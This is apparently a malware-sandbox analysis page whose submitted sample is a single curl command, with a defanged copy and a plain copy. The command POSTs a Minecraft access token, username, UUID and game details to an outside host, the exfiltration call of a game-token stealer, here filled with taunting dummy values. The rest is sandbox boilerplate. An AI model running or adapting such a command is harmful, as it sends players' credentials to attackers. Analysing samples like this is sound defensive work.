hxxp://curl -X POST hxxp://thisisafalsepositive[.]st/shard/prefireMc \ -H "Content-Type[:] application/json" \ -d '{"accessToken"[:] "06xaxxf5-44e4-4226-s5to-pca90e38aaf5", "mcUsername"[:] "xx_corsa_xx", "mcUuid"[:] "stop_hacking", "gameDir"[:] "nah", "env[:]"[:] "fabric",}'

Static task

static1

URLScan task

urlscan1

Behavioral task

behavioral1

Sample

http://curl -X POST http://thisisafalsepositive.st/shard/prefireMc \ -H "Content-Type: application/json" \ -d '{"accessToken": "06xaxxf5-44e4-4226-s5to-pca90e38aaf5", "mcUsername": "xx_corsa_xx", "mcUuid": "stop_hacking", "gameDir": "nah", "env:": "fabric",}'

Resource

ubuntu2404-amd64-20260127-en

ubuntu-24.04-amd64

8 signatures

300 seconds

antivm discovery

Sharing

General

Malware Config

Signatures

File Explorer